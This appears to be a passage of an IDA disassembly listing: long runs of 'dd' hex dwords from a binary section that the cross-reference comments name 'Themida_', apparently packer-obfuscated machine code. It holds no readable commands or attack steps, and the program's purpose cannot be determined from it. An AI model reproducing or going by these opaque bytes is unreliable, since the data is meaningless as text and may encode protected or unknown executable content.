		dd 39B58958h, 0FF060711h, 57006AE1h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 486F99B2h
		dd 298501D7h, 0F06070Dh, 681h, 29BD8B00h, 83060733h, 73305BDh
		dd 840F0006h, 45Fh, 0BD83DA8Ah,	6073305h, 6B840F01h, 8B000004h
		dd 732CDBDh, 5BD8306h, 3060733h, 422860Fh, 0BE90000h, 0F9000000h
		dd 2AE580F0h, 4B6CE605h, 8E988B3h, 45000000h, 2DAEC3Dh
		dd 602600C4h, 11E8h, 47B6100h, 0E026F4D6h, 1EF9CCDEh, 0FE86E03Eh
		dd 8EB704C6h, 0BD89575Bh, 6071A31h, 0D98C665Fh,	80F88B66h
		dd 666004E1h, 0BBEFE081h, 0F561F18Bh, 840FC90Ah, 1DAh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 62C35545h
		dd 0EF803794h, 1D858B7Ch, 6A06072Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 1D8BC353h
		dd 0D460E516h, 0E882B194h, 12h,	0F5B1717Ch, 64AD3967h
		dd 571484FFh, 0FD0D3A7h, 0B70FAAFCh, 60525FFBh,	2D3D9D8Bh
		dd 61600607h, 85335F61h, 6071AFDh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 82C35646h, 7E8D9h, 0D47E0000h
		dd 8A9D141Ah, 0E026BF08h, 905F2B91h, 7E85250h, 40000000h
		dd 0F1AEBA7Ch, 0F5F997Dh, 0EE931h, 905B0000h, 0F6B98F1Ch
		dd 28029682h, 0E46D4825h, 0B750585Ah, 6A902Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0EDD909C3h, 9D8B659Ch, 6070711h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0FA8C22C3h
		dd 97F0A6B6h, 0E8A6DA18h, 0Ch, 8DC5B98Ch, 65DAE12Bh, 535FBBCBh
		dd 1D99509h, 0E85B0607h, 4, 1F03FFh, 8A50FC8Ah,	24448BFCh
		dd 0DBF6604h, 89008B93h, 0F042444h, 83h, 85895800h, 6072659h
		dd 9F995FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 86050AC3h, 0DF858989h, 6A060AADh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0B0E0C353h, 0B19D8BE6h, 0E906072Ah, 17Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0CFC35646h
		dd 4390C8A9h, 0E919BF50h, 858B519Bh, 60AADD7h, 42D9D09h
		dd 0C70607h, 18h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	14C35141h, 9AA96BAh, 701C59Dh, 0DBB58B06h, 66060AADh
		dd 858BDA8Bh, 6072BCDh,	0BFF9BF0Fh, 352EFEA0h, 0B5890689h
		dd 607186Dh, 2A1D858Bh,	6A0607h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 71A765C3h, 0C809DD4Ah
		dd 0E78139F0h, 0EBF6B54h, 6A044689h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 5839C357h
		dd 5E9B7h, 85220000h, 507F929Fh, 3489FC8Ah, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 7E68E4E6h, 34695A62h, 39D9D8Bh, 0B5FF0607h, 60AADD7h
		dd 299D8D89h, 95890607h, 607139Dh, 0E79E3768h, 0DF8B66BDh
		dd 0C8240481h, 6A423765h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0B671C357h,	0BD89CD23h
		dd 60720E9h, 0DFDF8166h, 0DF858D87h, 0BF060AADh, 0FB648BEh
		dd 5E950h, 10960000h, 896BFCDEh, 85092404h, 6072D11h, 9F995FFh
		dd 870F0607h, 1, 6A61F9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0E9764CC3h, 89C3DC8Ah
		dd 72D8185h, 958D8906h,	0C7060707h, 7330585h, 306h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 2D6E5745h, 6414A3A1h, 0BD01A904h, 60703A5h, 0ADDFBD83h
		dd 0F00060Ah, 2784h, 8A0F6000h,	0Bh, 6E9h, 43643100h, 615B23C4h
		dd 2AE9h, 8E800h, 95050000h, 68312D3Eh,	5BF98825h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 2EF8C357h, 46780610h, 16880FBFh, 0E9000000h,	11h, 89F18273h
		dd 710A0586h, 414788D7h, 4B1D9ED8h, 25BB66C2h, 0E321BF81h
		dd 0BD834B74h, 6073305h, 2B850F03h, 60000004h, 11E9h, 0AE0B7000h
		dd 97202FF0h, 0C73EEF48h, 7291D055h, 958B905Dh,	60732F9h
		dd 0DFBD8361h, 60AADh, 400840Fh, 0BD8B0000h, 60725E1h
		dd 0FFD88B66h, 0AADDFB5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 8A07EA89h
		dd 73E43F8Ah, 8166705Ah, 0FF9A2CD3h, 7212995h, 0CE806h
		dd 35580000h, 7E3B7BFEh, 5D2C2853h, 0BD8B3DFAh,	6072A45h
		dd 0D3B58B5Fh, 6A060AADh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0EE08C357h,	802C9DAEh
		dd 0DB806CC1h, 106C732h, 0E8000100h, 8,	3EEC8158h, 191E1A26h
		dd 8B965FF9h, 0DF8B50FAh, 35BD8B96h, 0FF06070Ah, 0AADDFB5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 6B90E018h, 53FC66A3h, 25195FFh, 0CE80607h
		dd 0D1000000h, 0A6A1E670h, 2EFE1E39h, 311FF03Eh, 701B58Dh
		dd 0B58B5F06h, 60AADD3h, 0C8B96660h, 0F58529BBh, 61060725h
		dd 12A1858Bh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 7C7639C3h, 4A6CB790h, 0C48689h
		dd 0BD8B0000h, 6071941h, 1AD9958Bh, 6A0607h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0AF8C0DC3h
		dd 78BF10BDh, 4C283D9h,	22099509h, 50890607h, 7E96020h
		dd 0D2000000h, 56AD435Bh, 0B58BBD5Ch, 60703E9h,	70858D61h
		dd 6A060AC1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0B65AC356h, 720C0CC6h,	81FA8B66h
		dd 668526CFh, 0B886893Dh, 53000000h, 758D8B60h,	0BA060702h
		dd 134C9076h, 6A5F61h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0B1C35646h, 6342E241h, 0D9B70F16h, 9437BFBFh
		dd 0DFB5FF63h, 6A060AADh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 7FD2C357h, 68C0F15h
		dd 3000000h, 707B1BDh, 9195FF06h, 6A060707h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0BC30C352h, 0E8557F12h, 0Ch,	8AE9764Ch, 0FD6DC3DCh
		dd 0A89FDB4Fh, 0B7D9D29h, 505F0607h, 12840Fh, 7E80000h
		dd 7D000000h, 14D5602Ch, 0A1BBBA86h, 5F0C5B91h,	6A243489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0B35AC356h, 0DFB5FFE9h, 6A060AADh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 5E95C355h, 0CE812A59h, 0CE9h, 8E7EDC00h, 20DEEC21h
		dd 951F952Ch, 995FF00h,	6A06072Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0CA32C352h
		dd 9D85D8EEh, 0BD8BF831h, 607292Dh, 14C1BD83h, 0F000607h
		dd 3284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 1CE73B22h, 89627234h, 72B8595h, 508BB306h
		dd 89FA8B66h, 0FFFC2434h, 0AADDFB5h, 9595FF06h,	5306071Fh
		dd 0DFB5FF5Fh, 6A060AADh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 45D4C356h, 5FBF0D48h
		dd 840FBD77h, 0Ah, 89616060h, 706C985h,	95FF6106h, 60702C1h
		dd 14A99D8Bh, 0BD830607h, 6072865h, 3C840F02h, 89000000h
		dd 70309BDh, 858BF806h,	6070E69h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0ABC35545h,	840F688Bh, 89D6CFA4h
		dd 7182195h, 0C606h, 0C71CF780h, 72A5185h, 6, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 3F1E08F1h, 0E2E95828h, 8BFFFFF2h, 703BD9Dh, 8AC18B06h
		dd 0B1858DD9h, 6A060718h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0A6E1C353h,	5F9860F9h
		dd 13E950h, 68BA0000h, 26DEFAE4h, 2E9D50BAh, 86F68523h
		dd 44B2B1A4h, 24048986h, 80CF8166h, 6A006A57h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 8134C352h, 6840Fh, 95890000h, 60721A1h, 0ECB8DEBBh
		dd 0BB006A12h, 5FAD4216h, 0BCD6858Dh, 9D8B060Bh, 6070DFDh
		dd 0D860Fh, 89600000h, 7115585h, 219EBE06h, 83611C20h
		dd 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 652D2AC3h, 0E9BB0804h, 7,	0F9312C7Ch, 9081A549h
		dd 13E9h, 669D9800h, 0FD793CC6h, 8E84A9E3h, 1BB9CA0Fh
		dd 66194D1Bh, 6A9050h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 8065A1C3h, 81308200h, 2BFBDEEBh
		dd 60006A3Ch, 1F45BD8Bh, 840F0607h, 2, 6A616160h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0F6649EE1h, 1E3D95FFh, 0BD8B0607h, 6070E35h,	93D58D8Dh
		dd 0B589060Ah, 6072859h, 0EF80D1FFh, 0BDBD8354h, 1060719h
		dd 7B850Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 170424h, 56460000h, 0B65CE1C3h, 0A5BF66E0h, 6A026A49h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0D773C356h, 5090434Ah, 90FA8B66h,	43158DBBh
		dd 9195FF79h, 0E9060707h, 0Ch, 0A6252633h, 4C5968A5h, 0B99F32B0h
		dd 10E9h, 604CA900h, 51D39635h,	0B0F0492Ah, 14B7C8D6h
		db 38h
byte_588495	db 0E9h, 2Ah, 0Eh	; DATA XREF: Themida_:0053D914o
		dd 0E80000h, 5D000000h,	0BCE0ED81h, 0DF81060Bh,	65F2BD34h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 11C35141h
		dd 2BBC37B7h, 8D5FE636h, 0A843F85h, 0D1C78106h,	505A50A3h
		dd 89DE8B66h, 830F2404h, 19h, 11E853h, 1F3C0000h, 7088DAF2h
		dd 7CF1FF37h, 6B157375h, 5F822636h, 35FF645Fh, 0
		dd 0E659D8Bh, 89640607h, 25h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 7F2AB72Eh
		dd 3105877Dh, 0BD8BC8F0h, 60711BDh, 2F5985FFh, 9D8B0607h
		dd 6073119h, 0F5E78166h, 66FF6A28h, 11A7DF81h, 0BE9B5FFh
		dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 1AA508C3h, 95FF8B5Bh, 6072B89h, 120E9h, 0B0F800h
		dd 70E6FB8Bh, 8B6DDF80h, 0BF71E4F8h, 27A2E1Ah, 830F613Ch
		dd 105h, 0F03EF80h, 0BD8BC8B6h,	6071B29h, 6BAh,	1D8D8900h
		dd 89060714h, 72B2D9Dh,	9C18B06h, 703A1B5h, 4E8C106h, 2D89BD23h
		dd 0F7660607h, 0AE9E2h,	0DE7F0000h, 4D6739D1h, 0DEDB30ADh
		dd 14A9BD8Bh, 0C82B0607h, 6820Fh, 9D090000h, 60707F1h
		dd 13E9h, 46ADB300h, 23F5555Ah,	0F02F805Ah, 2CE4DAA6h
		dd 0F937EAD9h, 8B53D18Bh, 712A99Dh, 8AE95B06h, 0F000000h
		dd 88Ch, 2880F00h, 8B000000h, 8858BF9h,	83000000h, 816607C0h
		dd 832A72F3h, 8D8900C0h, 607209Dh, 6820Fh, 95290000h, 6073331h
		dd 830FD03Bh, 16h, 6E9h, 3AB21700h, 0E9D092D6h,	41h, 255BD8Bh
		dd 8D8B0607h, 0FFFFFFFFh, 0C316CB81h, 0E1837B95h, 26840F01h
		dd 0F000000h, 0A583DAB7h, 0FFFFFFFFh, 89589FEh,	0E8000000h
		dd 5, 0BE308A15h, 810FD1h, 5B000000h, 0E9h, 2FB58D00h
		dd 6A060B3Ch, 4FE9BF00h, 0DF800F29h, 6995FF79h,	8B06070Dh
		dd 704E1BDh, 8A0F06h, 0B9000000h, 10C7h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 53C35646h, 66031A3Dh
		dd 0E03F781h, 835FF952h, 6AFCE1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 331A8DC3h, 0DDFB025Bh
		dd 0FCFC64F0h, 8819509h, 0C02B0607h, 5F2FCF81h,	0BA61ECh
		dd 8B000000h, 7108D9Dh,	0C233AD06h, 0D003E8D1h,	7504E983h
		dd 55006AF4h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 82598655h, 9D89E4CFh, 607075Dh, 5CE78166h
		dd 57006A0Dh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 15A8A37h, 880D784Ch, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 2443C357h, 8684E1ADh, 8B1E77AAh, 70089BDh, 0D9958B06h
		dd 2306071Ah, 728B1BDh,	11E906h, 5F500000h, 631CC41Eh
		dd 69D46388h, 4CA3993Eh, 8BC71D42h, 7101D8Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 595892Ah, 5006072Dh,	188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 0FE858h, 0BF800000h, 0F90882E8h, 0D2E04AE2h
		dd 8E19A5D1h, 95B5098Ah, 5F060702h, 0E443E781h,	0BD83140Ah
		dd 6070E29h, 5A840F00h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 2042C351h
		dd 0B848E0h, 8B000000h,	703219Dh, 9B8D8D06h, 6A06074Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0CD7EC357h, 9D89BC6Fh, 6071025h, 0BF0FE1FFh
		dd 5BD83DEh, 60733h, 478840Fh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0CA4D32C3h
		dd 0BF66DD7Fh, 0BD837056h, 6073305h, 62840F01h,	6A000004h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0EC70C351h, 239DBD8Bh, 0BD830607h, 6073305h
		dd 0FC860F03h, 6A000003h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0D1E8C356h,	9CE7B83h
		dd 70C059Dh, 6A6006h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 2845F4C3h, 4E6ADF1Eh, 66B867BEh
		dd 663CCEBBh, 0BD31D98Ch, 6071535h, 8B04E180h, 71A1D9Dh
		dd 0FC90A06h, 12D84h, 0F9BD8B00h, 8B060701h, 72A1D85h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 6865F965h, 0F7C1BB19h, 853377DAh, 6071AFDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 35C35141h
		dd 21118531h, 66500607h, 489DA8Bh, 6AF98B24h, 19BD8900h
		dd 6806070Bh, 0C9A2E530h, 0CF240481h, 6A367C1Eh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 865BC356h, 9D8BAA77h, 6070829h, 2C39BD8Bh, 95FF0607h
		dd 60709F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	2FC35646h, 53EB7AA8h, 1251B531h, 810F0607h, 6
		dd 28959D29h, 85890607h, 60AADDFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 85C35242h, 8EC48009h, 1CE9E24Fh
		dd 6A000002h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 2EE2C351h, 0BB5088BAh,	0BE58D29h
		dd 858B0607h, 60AADD7h,	8A0Fh, 0C70000h, 18h, 0E96BD380h
		dd 0Dh,	71DE9F61h, 0BB154343h, 0D2E9FB1h, 0DBB58BD5h, 0E9060AADh
		dd 9, 0B3978185h, 4EA3414h, 0CD858B67h,	6A06072Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8BF3C355h, 7074D9Dh,	689F806h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0CAC35141h,	8BBDF8B1h, 72A1D85h
		dd 35B52906h, 89060732h, 6A0446h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0FEBAACC3h, 40BF2DBBh
		dd 0AE979h, 0E0B20000h,	784338EAh, 2BF3B51Dh, 0AD85BF66h
		dd 0FA8B6696h, 10E950h,	0F3340000h, 0DA9E1FF8h,	0A2E8DF6Ch
		dd 77CA353Ch, 89961F3Eh, 72309B5h, 0D7B5FF06h, 6A060AADh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 752AC355h, 2D35B1B1h, 0E780A036h,	31376816h
		dd 0BB662168h, 3481B2CCh, 7732C824h, 52006A21h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0C3816681h
		dd 858D0115h, 60AADDFh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 42C35545h, 668E9C40h,	820FDA8Bh, 3, 90DEB70Fh
		dd 14E957h, 0E2940000h,	0F62DF557h, 0E061939Eh,	940FF883h
		dd 6DAFFC82h, 505FA831h, 3DBF6656h, 6A905F4Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 6CA8C350h, 0C11C42C5h, 7E9BB8F0h, 2AE1BD8Bh,	95FF0607h
		dd 60709F9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0E7C35545h, 0CA3C8997h,	81667BC8h, 61529CEFh, 85C7DC8Ah
		dd 6073305h, 3,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	3AC35646h, 0EA4BE503h, 0F5661F1h, 8501D9B7h, 607209Dh
		dd 0ADDFBD83h, 0F00060Ah, 2A84h, 0DF8B6600h, 3DE9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 8B0F55h, 50000000h, 110C30h,	0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0CE9C08Bh, 4C000000h, 3B587D56h
		dd 0EFFC4265h, 0E85A2E42h, 12h,	0FF240520h, 5900FD44h
		dd 0FE899934h, 0CD317867h, 0CB817778h, 21C8B875h, 0E960565Bh
		dd 11h,	2A4253D8h, 19FEE3DCh, 629DBC31h, 0B230CEB7h, 5B61F94Dh
		dd 3305BD83h, 0F030607h, 4BA85h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0F3AE8CB6h
		dd 0E9EA2FDAh, 11h, 0FE659FCEh,	0DE0CB82Bh, 0F0D1840h
		dd 45FF2B53h, 0DFBD83C1h, 60AADh, 475840Fh, 95290000h
		dd 6070BB9h, 16810Fh, 11E90000h, 0D000000h, 0B3C3BA8Bh
		dd 0C94AE5E0h, 741C27A1h, 0B679795h, 0ADDFB5FFh, 6A060Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0D3C5AC3h, 6679F50Bh, 104ED781h, 0FFDEB70Fh,	7212995h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 43737B76h, 0D3B58BC5h, 6A060AADh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0C789C356h, 1000106h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 51CD8048h, 500C065Ch
		dd 6A243489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0FFCAC355h, 0E6BDBDEAh, 0BD2B82D4h
		dd 6071A79h, 0ADDFB5FFh, 0BF50060Ah, 5F767A78h,	5195FF5Bh
		dd 6A060702h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0A6E3C351h, 0C0696E1Bh, 0A59D8BCFh
		dd 8B060713h, 0AADD3B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 13A7176Ch, 0E12989EAh
		dd 0A19D03E8h, 8B060728h, 712A185h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 2FF7EA19h
		dd 0C16901C1h, 8689CDBBh, 0C4h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 76C35040h, 0B07A7756h, 0F6D78170h
		dd 8B13EC4Ch, 71AD995h,	8FBBF806h, 8336C6D5h, 0D78004C2h
		dd 11E92Fh, 0F7550000h,	0B00BE280h, 0E2B3E57Bh,	0D3603A8Ch
		dd 8971ACFBh, 6A2050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0A9126EC3h, 858DC255h, 60AC170h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 10C35141h
		dd 0A52D6A7Ch, 6AFAD8ADh, 8E8h,	1F8A6A00h, 82350470h, 86895F13h
		dd 0B8h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h,	44810424h
		dd 1B0424h, 52420000h, 0C7A55FC3h, 0A1622F02h, 282EBF8Ah
		dd 0B5FF0FBDh, 60AADDFh, 25E19D8Bh, 95FF0607h, 6070791h
		dd 2609BD89h, 52500607h, 2434895Bh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 8CC35747h, 45CB6F12h, 9E8h
		dd 91FE2B00h, 423CC1B0h, 0F60CD2Dh, 0B523D0BFh,	6070C05h
		dd 0D88B5B61h, 0FFD98B66h, 0AADDFB5h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 0BD8B52F1h, 60702C5h, 2D0995FFh, 0BD830607h,	60714C1h
		dd 59840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 6100C350h, 0AF766A57h
		dd 25DDCF81h, 605010E5h, 66585260h, 61AF04B8h, 8961C88Bh
		dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0E38135C3h, 594A6B46h, 0ADDFB5FFh, 8F0F060Ah
		dd 6, 1B899D8Bh, 95FF0607h, 6071F95h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 2EC35242h, 8A66D76Fh, 91BD8BFDh
		dd 0FF06071Dh, 0AADDFB5h, 0DF816606h, 95FF220Bh, 60702C1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 54C35040h
		dd 65BD836Fh, 2060728h,	95840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0DDD896C3h
		dd 63A16D1Fh, 9E94DFFh,	52000000h, 7269A05Fh, 7EF57E05h
		dd 0E69858Bh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0F64651C3h, 3C150AC1h, 0BB992D56h
		dd 23B2825Ah, 6A0000C6h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 4620C356h, 0C40C1E97h
		dd 0F53AADAh, 682h, 59958900h, 0C7060723h, 72A5185h, 6
		dd 1BD78100h, 0E95ECB84h, 0FFFFF2D9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0CC35646h, 9DBD89h,	0C18B0607h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0DEC35141h
		dd 1141BD8Bh, 0B5890607h, 6072A9Dh, 18B1858Dh, 6A0607h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0EADD45C3h, 20BDFF13h, 8DB509D5h, 50060723h,	58D0Fh
		dd 60BF0000h, 8968A318h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0D84C61C3h, 699D8BC3h
		dd 6A06072Dh, 6A82B700h, 0D8BF0F00h, 0CCB1858Dh, 6A060Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 8AD1B1C3h, 50F936D4h, 50CB6082h, 5BDE8B66h, 6A05C083h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0B6F1C355h, 0D80D83A3h, 0F9D9D8Bh, 50500607h
		dd 0D4B36052h, 5E9h, 0DA91C800h, 0F61E175h, 0C4BF6631h
		dd 89585AECh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 4212F1C3h, 92C0333h, 712C19Dh, 0F006A06h
		dd 6AF8BFh, 0A0E38166h,	3D95FF17h, 0E806071Eh, 6
dword_5893E4	dd 0DD645BFDh, 9D098433h, 6072A81h, 208BB5Fh, 8D8D25A0h
					; DATA XREF: Themida_:0053CC5Co
		dd 60A93D5h, 0CCB8166h,	0BBD1FF10h, 55CFC236h, 19BDBD83h
		dd 0F010607h, 5B85h, 0D3816600h, 26ADB50h, 0CC1B589h, 69BB0607h
		dd 907123EBh, 9810F50h,	60000000h, 575EA7B8h, 615F5669h
		dd 7FCB8190h, 896DB422h, 718B995h, 9195FF06h, 6A060707h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 88FC351h,	20219531h, 0EFB30607h, 0D9FE9h
		dd 0E800h, 815D0000h, 0BCCBBEDh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0F9DDFAFDh
		dd 930F22Dh, 72021B5h, 93BB6606h, 8DFA8B73h, 0A843F85h
		dd 9EE38006h, 7E890h, 0E7B20000h, 0AF37A02Dh, 7E87Eh, 0B1460000h
		dd 0D5911DBCh, 6B5BBF0Bh, 5B5B6388h, 0DE8B6650h, 0BD8B5190h
		dd 60719B1h, 8595895Bh,	64060718h, 35FFh, 64F90000h, 2589h
		dd 9D8B0000h, 6072B35h,	2F5985FFh, 6A0607h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 44DEE8C3h
		dd 0BA7F7122h, 119D8B4Fh, 6A06070Dh, 51006AFFh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0FF3A612Dh
		dd 7124DB5h, 0FFB0B306h, 72B8995h, 151E906h, 0BB660000h
		dd 0B0EB17h, 12E9h, 0C7317200h,	0C08A452Eh, 0CC1331E6h
